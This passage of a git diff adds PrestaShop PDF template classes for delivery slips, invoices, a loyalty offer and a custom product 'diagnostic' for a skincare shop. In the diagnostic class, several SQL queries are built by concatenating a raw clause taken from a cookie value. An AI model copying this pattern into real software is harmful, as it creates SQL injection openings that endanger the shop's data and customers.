b/classes/pdf/HTMLTemplateDeliverySlip.php @@ -0,0 +1,93 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5 + */ +class HTMLTemplateDeliverySlipCore extends HTMLTemplate +{ + public $order; + + public function __construct(OrderInvoice $order_invoice, $smarty) + { + $this->order_invoice = $order_invoice; + $this->order = new Order($this->order_invoice->id_order); + $this->smarty = $smarty; + + // header informations + $this->date = Tools::displayDate($this->order->invoice_date, (int)$this->order->id_lang); + $this->title = HTMLTemplateDeliverySlip::l('Delivery').' #'.Configuration::get('PS_DELIVERY_PREFIX', Context::getContext()->language->id).sprintf('%06d', $this->order_invoice->delivery_number); + + // footer informations + $this->shop = new Shop((int)$this->order->id_shop); + } + + /** + * Returns the template's HTML content + * @return string HTML content + */ + public function getContent() + { + $delivery_address = new Address((int)$this->order->id_address_delivery); + $formatted_delivery_address = AddressFormat::generateAddress($delivery_address, array(), '<br />', ' '); + $formatted_invoice_address = ''; + + if ($this->order->id_address_delivery != $this->order->id_address_invoice) + { + $invoice_address = new Address((int)$this->order->id_address_invoice); + $formatted_invoice_address = AddressFormat::generateAddress($invoice_address, array(), '<br />', ' '); + } + + $this->smarty->assign(array( + 'order' => $this->order, + 'order_details' => $this->order_invoice->getProducts(), + 'delivery_address' => $formatted_delivery_address, + 'invoice_address' => $formatted_invoice_address, + 'order_invoice' => $this->order_invoice + )); + + return $this->smarty->fetch($this->getTemplate('delivery-slip')); + } + + /** + * Returns the template filename when using bulk rendering + * @return string filename + */ + public function getBulkFilename() + { + return 'deliveries.pdf'; + } + + /** + * Returns the template filename + * @return string filename + */ + public function getFilename() + { + return Configuration::get('PS_DELIVERY_PREFIX').sprintf('%06d', $this->order->invoice_number).'.pdf'; + } +} + diff --git a/classes/pdf/HTMLTemplateDiagnostic.php b/classes/pdf/HTMLTemplateDiagnostic.php new file mode 100755 index 0000000..f4296fc --- /dev/null +++ b/classes/pdf/HTMLTemplateDiagnostic.php @@ -0,0 +1,582 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5 + */ +class HTMLTemplateDiagnosticCore extends HTMLTemplate +{ + public $offredefidelite; + public $id_offrefidelite; + public $fidelite_civilite; + public $fidelite_nom; + public $fidelite_prenom; + public $fidelite_adr ; + public $fidelite_ville; + public $fidelite_tel; + public $from; + public $days; + public $months; + public $years; + public $produits1; + public $produits2; + public $selectedIds; + + // public $available_in_your_account = false; + + public function __construct($Offredefidelite,$smarty) + { + $this->Offredefidelite = $Offredefidelite; + $this->smarty = $smarty; + $this->template = "Diagnostic"; + // header informations + $id_lang = Context::getContext()->language->id; + // $this->date = Tools::displayDate(date('Y-m-d'), (int)$id_lang); + $this->date = date('d-m-Y'); + + // $this->title ='Offre de fidélité'; + $this->title =''; + // footer informations + $this->shop = 1; + + // print_r($this->offredefidelite->selecteds); + // die(); + } + + /** + * Returns the template's HTML content + * @return string HTML content + */ + + + public function assignProducts(){ + // return; + // die(); + /* 14 */ + $context=Context::getContext(); + $productsCroisement14=array(); + $table='croisement'; + $sql='SELECT * FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' '.$context->cookie->diagnostic.' and id_category=14'; + // echo $sql; + if($products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + foreach($products as $id_product) + if(!in_array($id_product['id_product'],$productsCroisement14)){ + $productsCroisement14[]=$id_product['id_product']; + // echo "Rituel 1 ".$id_product['id_product']." autorisé <br/>"; + } + $table='exclusion'; + $sql='SELECT * FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' '.$context->cookie->diagnostic.' and id_category=14'; + + $productsExclusion14=array(); + if($products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + foreach($products as $id_product) + if(!in_array($id_product['id_product'],$productsExclusion14)){ + $productsExclusion14[]=$id_product['id_product']; + // echo "Rituel 1 ".$id_product['id_product']." exclus <br/>"; + } + $produits_autorises14=array(); + foreach($productsCroisement14 as $id_product) + if(!in_array($id_product,$productsExclusion14)){ + $produits_autorises14[]=$id_product; + // echo "Rituel 1 ".$id_product." autorisé <br/>"; + } + + /* 15 */ + $productsCroisement=array(); + $table='croisement'; + $sql='SELECT * FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' '.$context->cookie->diagnostic.' and id_category=15'; + if($products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + foreach($products as $id_product) + if(!in_array($id_product['id_product'],$productsCroisement)){ + $productsCroisement[]=$id_product['id_product']; + // echo "Rituel 2 ".$id_product['id_product']." exclus <br/>"; + } + $table='exclusion'; + $sql='SELECT * FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' '.$context->cookie->diagnostic.' and id_category=15'; + + $productsExclusion15=array(); + if($products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + foreach($products as $id_product) + if(!in_array($id_product['id_product'],$productsExclusion15)){ + $productsExclusion15[]=$id_product['id_product']; + // echo "Rituel 2 ".$id_product['id_product']." exclus <br/>"; + } + $produits_autorises15=array(); + foreach($productsCroisement as $id_product) + if(!in_array($id_product,$productsExclusion15)){ + $produits_autorises15[]=$id_product; + // echo "Rituel 2 ".$id_product." autorisé <br/>"; + } + + /* 16 */ + $productsCroisement=array(); + $table='croisement'; + // echo $context->cookie->diagnostic."<br/>"; + $sql='SELECT * FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' '.$context->cookie->diagnostic.' and id_category=16'; + if($products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + foreach($products as $id_product) + if(!in_array($id_product['id_product'],$productsCroisement)){ + $productsCroisement[]=$id_product['id_product']; + // echo "Rituel 3 ".$id_product['id_product']." autorisé <br/>"; + } + $table='exclusion'; + $sql='SELECT * FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' '.$context->cookie->diagnostic.' and id_category=16'; + + $productsExclusion16=array(); + if($products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + foreach($products as $id_product) + if(!in_array($id_product['id_product'],$productsExclusion16)){ + $productsExclusion16[]=$id_product['id_product']; + // echo "Rituel 3 ".$id_product['id_product']." exclus <br/>"; + } + $produits_autorises16=array(); + foreach($productsCroisement as $id_product) + if(!in_array($id_product,$productsExclusion16)){ + $produits_autorises16[]=$id_product; + // echo "Rituel 3 ".$id_product." autorisé <br/>"; + + } + + /* 17 */ + $productsCroisement=array(); + $table='croisement'; + $sql='SELECT * FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' '.$context->cookie->diagnostic.' and id_category=17'; + if($products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + foreach($products as $id_product) + if(!in_array($id_product['id_product'],$productsCroisement)) + $productsCroisement[]=$id_product['id_product']; + $table='exclusion'; + $sql='SELECT * FROM '._DB_PREFIX_.'devspediagnostic_'.$table.' '.$context->cookie->diagnostic.' and id_category=17'; + + $productsExclusion17=array(); + if($products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + foreach($products as $id_product) + if(!in_array($id_product['id_product'],$productsExclusion17)) + $productsExclusion17[]=$id_product['id_product']; + $produits_autorises17=array(); + foreach($productsCroisement as $id_product) + if(!in_array($id_product,$productsExclusion17)){ + $produits_autorises17[]=$id_product; + } + // echo "Produits autorisés rituel 1 : "; + // print_r($produits_autorises14); + // echo "<br/>Produits autorisés rituel 2 : "; + // print_r($produits_autorises15); + // echo "<br/>Produits autorisés rituel 3 : "; + // print_r($produits_autorises16); + // echo "<br/>Produits autorisés rituel 4 : "; + // print_r($produits_autorises17); + // echo "<br/><br/>"; + + $q1=$context->cookie->diagnostic_q1; + $q2=$context->cookie->diagnostic_q2; + $q3=$context->cookie->diagnostic_q3; + $q4=$context->cookie->diagnostic_q4; + $q5=$context->cookie->diagnostic_q5; + $q6=$context->cookie->diagnostic_q6; + $q7=$context->cookie->diagnostic_q7; + $q8=$context->cookie->diagnostic_q8; + $q9=$context->cookie->diagnostic_q9; + $q10=$context->cookie->diagnostic_q10; + $q11=$context->cookie->diagnostic_q11; + $q12=$context->cookie->diagnostic_q12; + $q13=$context->cookie->diagnostic_q13; + $q14=$context->cookie->diagnostic_q14; + $q15=$context->cookie->diagnostic_q15; + + $questions_reponses=array('',$q1,$q2,$q3,$q4,$q5,$q6,$q7,$q8,$q9,$q10,$q11,$q12,$q13,$q14,$q15); + if($condition=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT * FROM '._DB_PREFIX_.'devspediagnostic_conditions ORDER BY id_condition asc')){ + /* 14 */ + foreach($produits_autorises14 as $key => &$product){ + if($conditions_trouvees=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT * FROM '._DB_PREFIX_.'devspediagnostic_conditions where id_product_2='.(int)$product)){ + foreach($conditions_trouvees as &$row){ + $id_question_1=$row['id_question_1']; + $id_question_2=$row['id_question_2']; + $id_question_3=$row['id_question_3']; + $id_reponse_1=$row['id_reponse_1']; + $id_reponse_2=$row['id_reponse_2']; + $id_reponse_3=$row['id_reponse_3']; + $id_product_1=$row['id_product_1']; + $id_product_2=$row['id_product_2']; + if($id_reponse_3>0){ + if($questions_reponses[$id_question_1]==$id_reponse_1 && $questions_reponses[$id_question_2]==$id_reponse_2 && $questions_reponses[$id_question_3]==$id_reponse_3){ + // echo "Rituel 1 : ".$produits_autorises14[$key]." bannis par la condition ".$id_condition."<br/>"; + unset($produits_autorises14[$key]); + if(!in_array($id_product_1,$produits_autorises14)) + $produits_autorises14[]=$id_product_1; + } + }elseif($id_reponse_2>0){ + if($questions_reponses[$id_question_1]==$id_reponse_1 && $questions_reponses[$id_question_2]==$id_reponse_2){ + // echo "Rituel 1 : ".$produits_autorises14[$key]." bannis par la condition ".$id_condition."<br/>"; + unset($produits_autorises14[$key]); + if(!in_array($id_product_1,$produits_autorises14)) + $produits_autorises14[]=$id_product_1; + } + }else{ + if($questions_reponses[$id_question_1]==$id_reponse_1){ + // echo "Rituel 1 : ".$produits_autorises14[$key]." bannis par la condition ".$id_condition."<br/>"; + unset($produits_autorises14[$key]); + if(!in_array($id_product_1,$produits_autorises14)) + $produits_autorises14[]=$id_product_1; + } + } + } + } + } + // print_r($produits_autorises14); + + /* end 14 */ + /* 15 */ + foreach($produits_autorises15 as $key => &$product){ + if($conditions_trouvees=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT * FROM '._DB_PREFIX_.'devspediagnostic_conditions where id_product_2='.(int)$product)){ + foreach($conditions_trouvees as &$row){ + $id_question_1=$row['id_question_1']; + $id_question_2=$row['id_question_2']; + $id_question_3=$row['id_question_3']; + $id_reponse_1=$row['id_reponse_1']; + $id_reponse_2=$row['id_reponse_2']; + $id_reponse_3=$row['id_reponse_3']; + $id_product_1=$row['id_product_1']; + $id_product_2=$row['id_product_2']; + if($id_reponse_3>0){ + if($questions_reponses[$id_question_1]==$id_reponse_1 && $questions_reponses[$id_question_2]==$id_reponse_2 && $questions_reponses[$id_question_3]==$id_reponse_3){ + // echo "Rituel 2 : ".$produits_autorises15[$key]." bannis par la condition ".$id_condition."<br/>"; + unset($produits_autorises15[$key]); + if(!in_array($id_product_1,$produits_autorises15)) + $produits_autorises15[]=$id_product_1; + } + }elseif($id_reponse_2>0){ + if($questions_reponses[$id_question_1]==$id_reponse_1 && $questions_reponses[$id_question_2]==$id_reponse_2){ + // echo "Rituel 2 : ".$produits_autorises15[$key]." bannis par la condition ".$id_condition."<br/>"; + unset($produits_autorises15[$key]); + if(!in_array($id_product_1,$produits_autorises15)) + $produits_autorises15[]=$id_product_1; + } + }else{ + if($questions_reponses[$id_question_1]==$id_reponse_1){ + // echo "Rituel 2 : ".$produits_autorises15[$key]." bannis par la condition ".$id_condition."<br/>"; + unset($produits_autorises15[$key]); + if(!in_array($id_product_1,$produits_autorises15)) + $produits_autorises15[]=$id_product_1; + } + } + } + } + } + /* end 15 */ + /* 16 */ + foreach($produits_autorises16 as $key => &$product){ + if($conditions_trouvees=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT * FROM '._DB_PREFIX_.'devspediagnostic_conditions where id_product_2='.(int)$product)){ + foreach($conditions_trouvees as &$row){ + $id_question_1=$row['id_question_1']; + $id_question_2=$row['id_question_2']; + $id_question_3=$row['id_question_3']; + $id_reponse_1=$row['id_reponse_1']; + $id_reponse_2=$row['id_reponse_2']; + $id_reponse_3=$row['id_reponse_3']; + $id_product_1=$row['id_product_1']; + $id_product_2=$row['id_product_2']; + if($id_reponse_3>0){ + if($questions_reponses[$id_question_1]==$id_reponse_1 && $questions_reponses[$id_question_2]==$id_reponse_2 && $questions_reponses[$id_question_3]==$id_reponse_3){ + // echo "Rituel 3 : ".$produits_autorises16[$key]." bannis par la condition ".$id_condition."<br/>"; + unset($produits_autorises16[$key]); + if(!in_array($id_product_1,$produits_autorises16)) + $produits_autorises16[]=$id_product_1; + } + }elseif($id_reponse_2>0){ + if($questions_reponses[$id_question_1]==$id_reponse_1 && $questions_reponses[$id_question_2]==$id_reponse_2){ + // echo "Rituel 3 : ".$produits_autorises16[$key]." bannis par la condition ".$id_condition."<br/>"; + unset($produits_autorises16[$key]); + if(!in_array($id_product_1,$produits_autorises16)) + $produits_autorises16[]=$id_product_1; + } + }else{ + if($questions_reponses[$id_question_1]==$id_reponse_1){ + // echo "Rituel 3 : ".$produits_autorises16[$key]." bannis par la condition ".$id_condition."<br/>"; + unset($produits_autorises16[$key]); + if(!in_array($id_product_1,$produits_autorises16)) + $produits_autorises16[]=$id_product_1; + } + } + } + } + } + /* end 16 */ + /* 17 */ + foreach($produits_autorises17 as $key => &$product){ + if($conditions_trouvees=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT * FROM '._DB_PREFIX_.'devspediagnostic_conditions where id_product_2='.(int)$product)){ + foreach($conditions_trouvees as &$row){ + $id_condition=$row['id_condition']; + $id_question_1=$row['id_question_1']; + $id_question_2=$row['id_question_2']; + $id_question_3=$row['id_question_3']; + $id_reponse_1=$row['id_reponse_1']; + $id_reponse_2=$row['id_reponse_2']; + $id_reponse_3=$row['id_reponse_3']; + $id_product_1=$row['id_product_1']; + $id_product_2=$row['id_product_2']; + if($id_reponse_3>0){ + if($questions_reponses[$id_question_1]==$id_reponse_1 && $questions_reponses[$id_question_2]==$id_reponse_2 && $questions_reponses[$id_question_3]==$id_reponse_3){ + // echo "Rituel 4 : ".$produits_autorises17[$key]." bannis par la condition ".$id_condition."<br/>"; + unset($produits_autorises17[$key]); + if(!in_array($id_product_1,$produits_autorises17)) + $produits_autorises17[]=$id_product_1; + } + }elseif($id_reponse_2>0){ + if($questions_reponses[$id_question_1]==$id_reponse_1 && $questions_reponses[$id_question_2]==$id_reponse_2){ + // echo "Rituel 4 : ".$produits_autorises17[$key]." bannis par la condition ".$id_condition."<br/>"; + unset($produits_autorises17[$key]); + if(!in_array($id_product_1,$produits_autorises17)) + $produits_autorises17[]=$id_product_1; + } + }else{ + if($questions_reponses[$id_question_1]==$id_reponse_1){ + // echo "Rituel 4 : ".$produits_autorises17[$key]." bannis par la condition ".$id_condition."<br/>"; + unset($produits_autorises17[$key]); + if(!in_array($id_product_1,$produits_autorises17)) + $produits_autorises17[]=$id_product_1; + } + } + } + } + } + /* end 17 */ + } + + // echo "Produits autorisés Rituel 1 : "; + // // print_r($produits_autorises14); + // echo "<br/>Produits autorisés Rituel 2 : "; + // // print_r($produits_autorises15); + // echo "<br/>Produits autorisés Rituel 3 : "; + // // print_r($produits_autorises16); + // echo "<br/>Produits autorisés Rituel 4 : "; + + $sbustitutions=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT * FROM '._DB_PREFIX_.'devspediagnostic_substitutions ORDER BY id_substitution asc'); + // echo "<br/><br/>Substitutions :<br/>"; + + foreach($sbustitutions as $substitution){ + $id_1=$substitution['id_product_1']; + $id_2=$substitution['id_product_2']; + // echo "<br/> Si ".$id_1." et ".$id_2." sont dans le même rituel, alors ".$id_1." sera substitué (enlevé)<br/>"; + for($i=0;$i<count($produits_autorises14);$i++){ + $id_produit=$produits_autorises14[$i]; + if($id_produit==$id_1 && in_array($id_2,$produits_autorises14)){ + // echo "Rituel 1 : ".$produits_autorises14[$i]." substitué par".$id_2." <br/>"; + + unset($produits_autorises14[$i]); + } + } + for($i=0;$i<count($produits_autorises15);$i++){ + $id_produit=$produits_autorises15[$i]; + if($id_produit==$id_1 && in_array($id_2,$produits_autorises15)){ + // echo "Rituel 2 : ".$produits_autorises15[$i]." substitué par".$id_2."<br/>"; + unset($produits_autorises15[$i]); + } + } + for($i=0;$i<count($produits_autorises16);$i++){ + $id_produit=$produits_autorises16[$i]; + if($id_produit==$id_1 && in_array($id_2,$produits_autorises16)){ + // echo "Rituel 3 : ".$produits_autorises16[$i]." substitué par".$id_2."<br/>"; + unset($produits_autorises16[$i]); + } + } + for($i=0;$i<count($produits_autorises17);$i++){ + $id_produit=$produits_autorises17[$i]; + if($id_produit==$id_1 && in_array($id_2,$produits_autorises17)){ + // echo "Rituel 4 : ".$produits_autorises17[$i]." substitué par".$id_2."<br/>"; + unset($produits_autorises17[$i]); + } + } + } + // echo "Produits autorisés Rituel 1 : "; + // print_r($produits_autorises14); + // echo "<br/>Produits autorisés Rituel 2 : "; + // print_r($produits_autorises15); + // echo "<br/>Produits autorisés Rituel 3 : "; + // print_r($produits_autorises16); + // echo "<br/>Produits autorisés Rituel 4 : "; + // print_r($produits_autorises17); + // echo "<br/><br/>"; + // die(); + + $this->categoryA = new Category(14, $context->language->id); + $this->categoryA->products = $this->categoryA->getProductsDiagnostic($context->language->id, 0, 100, null, null); + + $this->categoryB = new Category(15, $context->language->id); + $this->categoryB->products = $this->categoryB->getProductsDiagnostic($context->language->id, 0, 100, null, null); + + $this->categoryC = new Category(16, $context->language->id); + $this->categoryC->products = $this->categoryC->getProductsDiagnostic($context->language->id, 0, 100, null, null); + + $this->categoryD = new Category(17, $context->language->id); + $this->categoryD->products = $this->categoryD->getProductsDiagnostic($context->language->id, 0, 100, null, null); + + $productsExclusion=array(); + // if($products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + + $final_14=''; + $final_15=''; + $final_16=''; + $final_17=''; + // print_r($this->categoryA->products); + foreach($this->categoryA->products as $key => &$row){ + if(!in_array($row['id_product'],$produits_autorises14)){ + // echo "<br/>".$row['id_product']." enlevé car bannis<br/>"; + unset($this->categoryA->products[$key]); + } + else + if($final_14!="") + $final_14.=","; + $final_14.=$row['id_product']; + } + + foreach($this->categoryB->products as $key => &$row){ + if(!in_array($row['id_product'],$produits_autorises15)){ + // echo "<br/>". $row['id_product']." enlevé car bannis"; + unset($this->categoryB->products[$key]); + } + else + if($final_15!="") + $final_15.=","; + $final_15.=$row['id_product']; + } + foreach($this->categoryC->products as $key => &$row){ + if(!in_array($row['id_product'],$produits_autorises16)){ + // echo "<br/>". $row['id_product']." enlevé car bannis"; + unset($this->categoryC->products[$key]); + } + else + if($final_16!="") + $final_16.=","; + $final_16.=$row['id_product']; + } + foreach($this->categoryD->products as $key => &$row){ + if(!in_array($row['id_product'],$produits_autorises17)){ + // echo "<br/>".$row['id_product']." enlevé car bannis"; + unset($this->categoryD->products[$key]); + } + else + if($final_17!="") + $final_17.=","; + $final_17.=$row['id_product']; + } + + // echo "<br/>Produits finalement présent dans le Rituel 1 : "; + // print_r($this->categoryD->products); + // echo "<br/>Produits finalement présent Rituel 2 : "; + // print_r($this->categoryB->products); + // echo "<br/>Produits finalement présent Rituel 3 : "; + // print_r($this->categoryC->products); + // echo "<br/>Produits finalement présent Rituel 4 : "; + // print_r($this->categoryD->products); + // die(); + $context->smarty->assign('langue', $context->language->id); + $context->smarty->assign('categoryA', $this->categoryA); + $context->smarty->assign('categoryB', $this->categoryB); + $context->smarty->assign('categoryC', $this->categoryC); + $context->smarty->assign('categoryD', $this->categoryD); + + // $context->cookie->final_14=$final_14; + // $context->cookie->final_15=$final_15; + // $context->cookie->final_16=$final_16; + // $context->cookie->final_17=$final_17; + // print_r($final_17); + + } + + + // public function getItemsProducts($id) + // { + // $context=Context::getContext(); + // $id_lang = $context->language->id; + // if($id==14){ $produits=$context->cookie->final_14;} + // if($id==15){ $produits=$context->cookie->final_15;} + // if($id==16){ $produits=$context->cookie->final_16;} + // if($id==17){ $produits=$context->cookie->final_17;} + + // $sql=' + // SELECT distinct(p.`id_product`), pl.name, pl.link_rewrite,cl.name as categoryName,c.id_category,p.id_category_default,i.id_image + // FROM '._DB_PREFIX_.'category_product cp + // LEFT JOIN '._DB_PREFIX_.'category c ON (cp.id_category = c.id_category) + // LEFT JOIN '._DB_PREFIX_.'category_lang cl ON (cl.id_lang = '.(int)$id_lang.' and c.id_category = cl.id_category) + // LEFT JOIN '._DB_PREFIX_.'product p ON (p.id_product = cp.id_product) + // LEFT JOIN '._DB_PREFIX_.'product_lang pl ON (pl.id_lang = '.(int)$id_lang.' and p.id_product = pl.id_product) + // left join '._DB_PREFIX_.'image i on (i.id_product=p.id_product and cover=1) + // WHERE cp.id_category='.(int)$id.' + // and cp.id_product in('.$produits.') + // ORDER BY cl.name desc,cp.position asc,pl.name asc'; + // $products= Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + // return $products; + // } + public function getContent() + { + // $country = new Country((int)$this->order->id_address_invoice); + // $invoice_address = new Address((int)$this->order->id_address_invoice); + // $formatted_invoice_address = AddressFormat::generateAddress($invoice_address, array(), '<br />', ' '); + // $formatted_delivery_address = ''; + + // $customer = new Customer((int)$this->order->id_customer); + + $years = Tools::dateYears(); + $months = Tools::dateMonths(); + $days = Tools::dateDays(); + $this->smarty->assign(array( + 'years' => $years, + 'months' => $months, + 'days' => $days + )); + + $this->assignProducts(); + // $this->smarty->assign('generationProduits14',self::getItemsProducts(14)); + // $this->smarty->assign('generationProduits15',self::getItemsProducts(15)); + // $this->smarty->assign('generationProduits16',self::getItemsProducts(16)); + // $this->smarty->assign('generationProduits17',self::getItemsProducts(17)); + // print_r($this->offredefidelite); + // die(); + $this->smarty->assign( + 'offre_de_fidelite', $this->Offredefidelite + // 'order' => $this->order, + ); + // print_r($this->offredefidelite); + // die(); + return $this->smarty->fetch(_PS_THEME_DIR_.'pdf/Diagnostic.tpl'); + } + + public function getBulkFilename(){ + // if(Tools::getValue('from')) + return 'votre-diagnostic-Garancia-'.$this->Offredefidelite->mktime.'.pdf'; + // else + // return 'offre-de-fidelite.pdf'; + } + public function getFilename() + { + // if(Tools::getValue('from')) + return 'votre-diagnostic-Garancia-'.$this->Offredefidelite->mktime.'.pdf'; + // else + // return 'offre-de-fidelite.pdf'; + } +} + diff --git a/classes/pdf/HTMLTemplateInvoice.php b/classes/pdf/HTMLTemplateInvoice.php new file mode 100755 index 0000000..5260080 --- /dev/null +++ b/classes/pdf/HTMLTemplateInvoice.php @@ -0,0 +1,143 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5 + */ +class HTMLTemplateInvoiceCore extends HTMLTemplate +{ + public $order; + public $available_in_your_account = false; + + public function __construct(OrderInvoice $order_invoice, $smarty) + { + $this->order_invoice = $order_invoice; + $this->order = new Order((int)$this->order_invoice->id_order); + $this->smarty = $smarty; + + // header informations + $this->date = Tools::displayDate($order_invoice->date_add, (int)$this->order->id_lang); + + $id_lang = Context::getContext()->language->id; + $this->title = HTMLTemplateInvoice::l('Invoice ').' #'.Configuration::get('PS_INVOICE_PREFIX', $id_lang, null, (int)$this->order->id_shop).sprintf('%06d', $order_invoice->number); + // footer informations + $this->shop = new Shop((int)$this->order->id_shop); + } + + /** + * Returns the template's HTML content + * @return string HTML content + */ + public function getContent() + { + $country = new Country((int)$this->order->id_address_invoice); + $invoice_address = new Address((int)$this->order->id_address_invoice); + $formatted_invoice_address = AddressFormat::generateAddress($invoice_address, array(), '<br />', ' '); + $formatted_delivery_address = ''; + + if ($this->order->id_address_delivery != $this->order->id_address_invoice) + { + $delivery_address = new Address((int)$this->order->id_address_delivery); + $formatted_delivery_address = AddressFormat::generateAddress($delivery_address, array(), '<br />', ' '); + } + + $customer = new Customer((int)$this->order->id_customer); + + $this->smarty->assign(array( + 'order' => $this->order, + 'order_details' => $this->order_invoice->getProducts(), + 'cart_rules' => $this->order->getCartRules($this->order_invoice->id), + 'delivery_address' => $formatted_delivery_address, + 'invoice_address' => $formatted_invoice_address, + 'tax_excluded_display' => Group::getPriceDisplayMethod($customer->id_default_group), + 'tax_tab' => $this->getTaxTabContent(), + 'customer' => $customer + )); + + return $this->smarty->fetch($this->getTemplateByCountry($country->iso_code)); + } + + /** + * Returns the tax tab content + */ + public function getTaxTabContent() + { + $address = new Address((int)$this->order->{Configuration::get('PS_TAX_ADDRESS_TYPE')}); + $tax_exempt = Configuration::get('VATNUMBER_MANAGEMENT') + && !empty($address->vat_number) + && $address->id_country != Configuration::get('VATNUMBER_COUNTRY'); + + $this->smarty->assign(array( + 'tax_exempt' => $tax_exempt, + 'use_one_after_another_method' => $this->order_invoice->useOneAfterAnotherTaxComputationMethod(), + 'product_tax_breakdown' => $this->order_invoice->getProductTaxesBreakdown(), + 'shipping_tax_breakdown' => $this->order_invoice->getShippingTaxesBreakdown($this->order), + 'ecotax_tax_breakdown' => $this->order_invoice->getEcoTaxTaxesBreakdown(), + 'wrapping_tax_breakdown' => $this->order_invoice->getWrappingTaxesBreakdown(), + 'order' => $this->order, + 'order_invoice' => $this->order_invoice + )); + + return $this->smarty->fetch($this->getTemplate('invoice.tax-tab')); + } + + /** + * Returns the invoice template associated to the country iso_code + * @param string $iso_country + */ + protected function getTemplateByCountry($iso_country) + { + $file = Configuration::get('PS_INVOICE_MODEL'); + + // try to fetch the iso template + $template = $this->getTemplate($file.'.'.$iso_country); + + // else use the default one + if (!$template) + $template = $this->getTemplate($file); + + return $template; + } + + /** + * Returns the template filename when using bulk rendering + * @return string filename + */ + public function getBulkFilename() + { + return 'invoices.pdf'; + } + + /** + * Returns the template filename + * @return string filename + */ + public function getFilename() + { + return Configuration::get('PS_INVOICE_PREFIX').sprintf('%06d', $this->order_invoice->number).'.pdf'; + } +} + diff --git a/classes/pdf/HTMLTemplateOffredefidelite.php b/classes/pdf/HTMLTemplateOffredefidelite.php new file mode 100755 index 0000000..6401478 --- /dev/null +++ b/classes/pdf/HTMLTemplateOffredefidelite.php @@ -0,0 +1,157 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5 + */ +class HTMLTemplateOffredefideliteCore extends HTMLTemplate +{ + public $offredefidelite; + + + public $id_offrefidelite; + public $fidelite_civilite; + public $fidelite_nom; + public $fidelite_prenom; + public $fidelite_adr ; + public $fidelite_ville; + public $fidelite_tel; + public $from; + public $days; + public $months; + public $years; + public $produits1; + public $produits2; + public $selectedIds; + + // public $available_in_your_account = false; + + public function __construct($Offredefidelite,$smarty) + { + 